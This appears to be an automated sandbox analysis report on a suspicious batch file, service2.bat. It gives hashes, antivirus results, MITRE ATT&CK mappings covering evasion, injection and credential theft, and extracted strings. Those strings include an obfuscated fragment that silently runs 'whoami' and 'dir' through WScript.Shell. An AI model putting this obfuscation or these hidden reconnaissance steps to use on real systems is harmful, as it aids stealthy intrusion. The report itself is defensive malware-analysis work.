IPv4.Address=(2.0.0.0-3.0.0.0)" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes IPv4.SourceAddress=(2.0.0.0,3.0.0.0)" Potential IP "2.0.0.0" found in string "providerFilter=Yes IPv4.DestinationAddress=!(2.0.0.0)"36:T72e,Pattern match: "http://www.validationtest.contoso.com/test%d.html" Heuristic match: "bs;.vbe;.js;.jse;.ws" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104.&click" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291337%@font-face" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257.s" Pattern match: "http://www.w3.org/xml/1998/namespace..the" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://www.w3.org/xml/1998/namespace" Pattern match: "http://www.w3.org/1999/xlink.{text" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104" Pattern match: "go.microsoft.com/fwlink/?linkid=109695&result=block&t=%1&url=%2" Pattern match: "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin?name=xyz" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/service" Pattern match: "http://[1::2]:80/wsman" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd" Heuristic match: "for example, for a target computer name myserver.domain.com, the spn can be one of the following: wsman/myserver.domain.com or wsman/*.domain.com" Pattern match: "http://www.w3.org/2000/svg" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624361" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624359" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624360" Pattern match: "http://www.w3.org/1999/xhtml" Heuristic match: "treenode.textcontent = computersystem get manufacturer,model DESKTOP-FVVF82Aroot\cimv2root\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON" (Indicator: "root\cimv2"; in Source: "00000000-00004456.00000000.221903.FAA08000.00000004.mdmp") Found string " computersystem get manufacturer,model DESKTOP-FVVF82Aroot\cimv2root\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON" (Indicator: "root\cimv2"; in Source: "00000000-00004456.00000000.221903.FAA08000.00000004.mdmp") Found string "MAND SEQUENCENUM="1" ISSUEDFROM="DESKTOP-FVVF82A" STARTTIME="02-17-2026T00:32:29" EVERYCOUNT="0"> computersystem get manufacturer,model DESKTOP-FVVF82Aroot\cimv2root\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AONVMware, Inc.VMware Virtual Platform" (Indicator: "root\cimv2"; in Source: "00000000-00004456.00000000.221903.FAA16000.00000004.mdmp") Found string " computersystem get manufacturer,model DESKTOP-FVVF82Aroot\cimv2root\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AONVMware, Inc.VMware Virtual Platform" (Indicator: "root\cimv2"; in Source: "00000000-00004456.00000000.221903.FAA16000.00000004.mdmp") Found string "MAND SEQUENCENUM="1" ISSUEDFROM="DESKTOP-FVVF82A" STARTTIME="02-17-2026T00:32:29" EVERYCOUNT="0"> computersystem get manufacturer,model DESKTOP-FVVF82Aroot\cimv2root\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AONVMware, Inc.VMware Virtual Platform" (Indicator: "root\cimv2"; in Source: "00000000-00004456.00000000.221903.FAA16000.00000004.mdmp") Found string "root\cimv2root\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON" (Indicator: "root\cimv2"; in Source: "00000000-00004456.00000000.221903.FAA16000.00000004.mdmp")3e:T8d4,file/memory contains long string with (Indicator: "LnxQBwdFUqynJlBCiPMFLAdQkYbheOuXeHZxZKznFDrkPZgzpYjtlJpTnrTcajYHAHygeCgXKnYaJtivPgyrtTXhQAGBJJnEHeprdeDNgfgVYqhdPsWplXTOOBDUYNLLZFuzHGJCIQUVJgaDTVAclTpjwyISwxuesgBlx%%^%c%NcMJMbHzQYUlEWPMYXPDVBSmVaEaCqoofeqVpObmZMRprznNmZdZzlhwoaTamLgWszUqpWTxqNTrphXReBdDejyCOwmgqCoDSwYrwdGMCOiDxTvzUQCnMXvZBWEWZ%%^%h%XNCqaCCEIOKhjxEiNwhBHRhWSRYOPgOtMySjjlrmnQUxgmhoogrksqOrxtmGbDEgLtvQkaDcjoFwsmvLomJPHBPTDkuVQpDpVgAmRzhQDRhnoMZGhcRAGTlWmEPUVDOQXugtsdcOxtcQiZkryivPMGYKsAmFijSJUESFEgOpYBy%%^%o%oeJPbLwaDYLIKlUhJjjdTqLuqNcCWFzczkzfhXiaekrAIeXtiWSdKDaLBIqENetWhLzHyDZXNMJmlGIqoESIfQrWnceVONAQZKPryYejJQjWUWzZMdsLyTjAWWGOBuuTzLOOAoZtqFIWGFNBqxTIDYwuWsEHxvqSbvPZifd%%^% %tAqtMqGimBKMPMwbOjWYKBMWOtewGgTejAWoTwtluphnBqiWLhjVweXKdDiUSoXGOYmOJPXkwKqCVAPswwjbxnmyHuD%Dim KDkTkr : Set KDkTkr = CreateObject(^"WScript.Shell^") : KDkTkr.Run ^"cmd /c ^"whoami >nul 2>^&1^"^" 0 True : KDkTkr.Run ^"cmd /c ^"dir /b >nul 2>^&1^"^" 0 True : Set KDkTkr = Nothing>"!bHFLdIl1!"!Qmfo4!!gDKS!!JxmOUE!!amiW!!yQCX! "!bHFLdIl1!" >nul 2>&1!bbF1!!dFWT!!WuPn"; File: "4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343.bin"), file/memory contains long string with (Indicator: "%^%e%uZcGWlhIflynmmWoYdEheefLLnxQBwdFUqynJlBCiPMFLAdQkYbheOuXeHZxZKznFDrkPZgzpYjtlJpTnrTcajYHAHygeCgXKnYaJtivPgyrtTXhQAGBJJnEHeprdeDNgfgVYqhdPsWplXTOOBDUYNLLZFuzHGJCIQUVJgaDTVAclTpjwyISwxuesgBlx%%^%c%NcMJMbHzQYUlEWPMYXPDVBSmVaEaCqoofeqVpObmZMRprznNmZdZzlhwoaTamLgWszUqpWTxqNTrphXReBdDejyCOwmgqCoDSwYrwdGMCOiDxTvzUQCnMXvZBWEWZ%%^%h%XNCqaCCEIOKhjxEiNwhBHRhWSRYOPgOtMySjjlrmnQUxgmhoogrksqOrxtmGbDEgLtvQkaDcjoFwsmvLomJPHBPTDkuVQpDpVgAmRzhQDRhnoMZGhcRAGTlWmEPUVDOQXugtsdcOxtcQiZkryivPMGYKsAmFijSJUESFEgOpYBy%%^%o%oeJPbLwaDYLIKlUhJjjdTqLuqNcCWFzczkzfhXiaekrAIeXtiWSdKDaLBIqENetWhLzHyDZXNMJmlGIqoESIfQrWnceVONAQZKPryYejJQjWUWzZMdsLyTjAWWGOBuuTzLOOAoZtqFIWGFNBqxTIDYwuWsEHxvqSbvPZifd%%^% %tAqtMqGimBKMPMwbOjWYKBMWOtewGgTejAWoTwtluphnBqiWLhjVweXKdDiUSoXGOYmOJPXkwKqCVAPswwjbxnmyHuD%Dim KDkTkr : Set KDkTkr = CreateObject(^"WScript.Shell^") : KDkTkr.Run ^"cmd /c ^"whoami >nul 2>^&1^"^" 0 True : KDkTkr.Run ^"cmd /c ^"dir /b >nul 2>^&1^"^" 0 True : Set KDkTkr = Nothing>"!bHFLdIl1!""; File: "4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343.bin")1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"suspicious","threat_score":45,"unified_at_epoch_ms":1790962514849,"unified_at":"2026-10-02T17:35:14.849Z","metadata":{"hashes":{"sha256":"4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343","sha1":"149b54f7f975df668cc22fecf2c14a05f2fe5023","md5":"ff794a3dcdf6e8c3747c1477551d2509","sha512":"dd3cac80df20f1872af52bfa1bb96971eda206b26dcd10e46fef1446ff3eeefb2d9b68ae0b6803f668b019ac433ff30e469db2007fe19ac3b34ce1f7e45dd21c","ssdeep":"6144:GHxMpQ4vfYZueRvh3vuu1YPcFh0AQX0ymPFh:WvWfYEeVh/ukdFhToaf","ssdeep_chunks":["6144:GHxMpQ4","6144:HxMpQ4v","6144:xMpQ4vf","6144:MpQ4vfY","6144:pQ4vfYZ","6144:Q4vfYZu","6144:4vfYZue","6144:vfYZueR","6144:fYZueRv","6144:YZueRvh","6144:ZueRvh3","6144:ueRvh3v","6144:eRvh3vu","6144:Rvh3vuu","6144:vh3vuu1","6144:h3vuu1Y","6144:3vuu1YP","6144:vuu1YPc","6144:uu1YPcF","6144:u1YPcFh","6144:1YPcFh0","6144:YPcFh0A","6144:PcFh0AQ","6144:cFh0AQX","6144:Fh0AQX0","6144:h0AQX0y","6144:0AQX0ym","6144:AQX0ymP","6144:QX0ymPF","6144:X0ymPFh","12288:GHxMpQ4","12288:HxMpQ4v","12288:xMpQ4vf","12288:MpQ4vfY","12288:pQ4vfYZ","12288:Q4vfYZu","12288:4vfYZue","12288:vfYZueR","12288:fYZueRv","12288:YZueRvh","12288:ZueRvh3","12288:ueRvh3v","12288:eRvh3vu","12288:Rvh3vuu","12288:vh3vuu1","12288:h3vuu1Y","12288:3vuu1YP","12288:vuu1YPc","12288:uu1YPcF","12288:u1YPcFh","12288:1YPcFh0","12288:YPcFh0A","12288:PcFh0AQ","12288:cFh0AQX","12288:Fh0AQX0","12288:h0AQX0y","12288:0AQX0ym","12288:AQX0ymP","12288:QX0ymPF","12288:X0ymPFh","6144:WvWfYEe","6144:vWfYEeV","6144:WfYEeVh","6144:fYEeVh/","6144:YEeVh/u","6144:EeVh/uk","6144:eVh/ukd","6144:Vh/ukdF","6144:h/ukdFh","6144:/ukdFhT","6144:ukdFhTo","6144:kdFhToa","6144:dFhToaf"],"imphash":"Unknown"},"file_info":{"file_name":"service2.bat","file_type":["script","bat"],"file_type_id":"bat","file_size":215432,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1771288314000,"last_seen":1771288319000,"last_multi_scan":1771288319000}},"detections":{"summary":{"verdict":"suspicious","score":45,"tags":null},"stats":{"av":{"malicious_count":0,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":55},"sandbox_signatures":{"informative_count":126,"suspicious_count":6,"malicious_count":1,"total":133},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{},"mitre_attacks":[{"tactic":"Initial Access","technique":"External Remote Services","attack_id":"T1133","attack_id_wiki":"https://attack.mitre.org/techniques/T1133","identifiers":[{"type":"informative","value":"Able to configure Windows Remote Management service"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"malicious","value":"Able to execute commands through Windows command interpreter (ASP)"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"informative","value":"Attempts remote code execution into another process memory space"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Defense Evasion","technique":"Run Virtual Instance","attack_id":"T1564.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/006","identifiers":[{"type":"suspicious","value":"Attempts to create or manage virtual instances"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"Queries kernel debugger information"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Credential Access","technique":"Unsecured Credentials","attack_id":"T1552","attack_id_wiki":"https://attack.mitre.org/techniques/T1552","identifiers":[{"type":"informative","value":"Contains ability to search for patterns of text (possibly credentials) in files"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve the current user information"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Able to find string content in a file"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to get product type"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve list of files and subdirectories"},{"type":"informative","value":"Searches for patterns in files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files 